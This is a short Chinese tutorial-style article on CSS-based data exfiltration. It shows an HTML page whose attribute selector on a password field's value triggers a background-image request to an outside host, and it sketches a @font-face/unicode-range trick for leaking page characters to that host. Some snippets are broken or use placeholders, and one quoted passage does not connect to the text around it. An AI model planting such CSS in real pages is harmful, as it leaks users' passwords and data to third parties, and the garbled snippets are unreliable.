CSS是如何发起攻击的?

334次阅读  |  发布于3年以前

CSS是如何发起攻击的

写在开头

第一种,CSS获取用户密码

<!DOCTYPE html>
<html lang="en">
    <head>
        <meta charset="UTF-8" />
        <meta http-equiv="X-UA-Compatible" content="IE=edge" />
        <meta name="viewport" content="width=device-width, initial-scale=1.0" />
        <title>Document</title>
        <style>
            input[type='password'][value$='前端巅峰'] {
                background-image: url('https://china-dev.cn');
            }
        </style>
    </head>
    <body>
        <div id="root">root</div>
        <input type="password" value="前端巅峰"/>
    </body>
</html>

china-dev.cn发起了请求,此时后台已经知道了密码输入的是:前端巅峰

有人会问,如果通过CSS去import js呢?

The '@import' rule allows users to import style rules from other style sheets. Any @import rules must follow all @charset rules and precede all other at-rules and rule sets in a style sheet. The '@import' keyword must be followed by the URI of the style sheet to include. A string is also allowed; it will be interpreted as if it had url(...) around it.

第二种,通过font-face去获取页面中的敏感数据

@font-face
{
font-family: myFont;
src: url('https://china-dev.cn'),
}

这里有一个属性:unicode-range,可选。定义该字体支持Unicode字符的范围。默认值是"ü+0-10 FFFF",文档地址:https://developer.mozilla.org/en-US/docs/Web/CSS/@font-face/unicode-range

unicode-range
/* 支持的值 */
unicode-range: U+26;               /* 单个字符编码 */
unicode-range: U+0-7F;
unicode-range: U+0025-00FF;        /* 字符编码区间 */
unicode-range: U+4??;              /* 通配符区间 */
unicode-range: U+0025-00FF, U+4??; /* 多个值 */

对于我们中文用户,最常用的有下面这些:

汉字:[0x4e00,0x9fa5](或十进制[19968,40869])
数字:[0x30,0x39](或十进制[48, 57])
小写字母:[0x61,0x7a](或十进制[97, 122])
大写字母:[0x41,0x5a](或十进制[65, 90])
@font-face
{
font-family: myFont;
src: url('https://china-dev.cn'),
unicode-range:*******
}

CSS其他攻击手段

Copyright© 2013-2020

All Rights Reserved 京ICP备2023019179号-8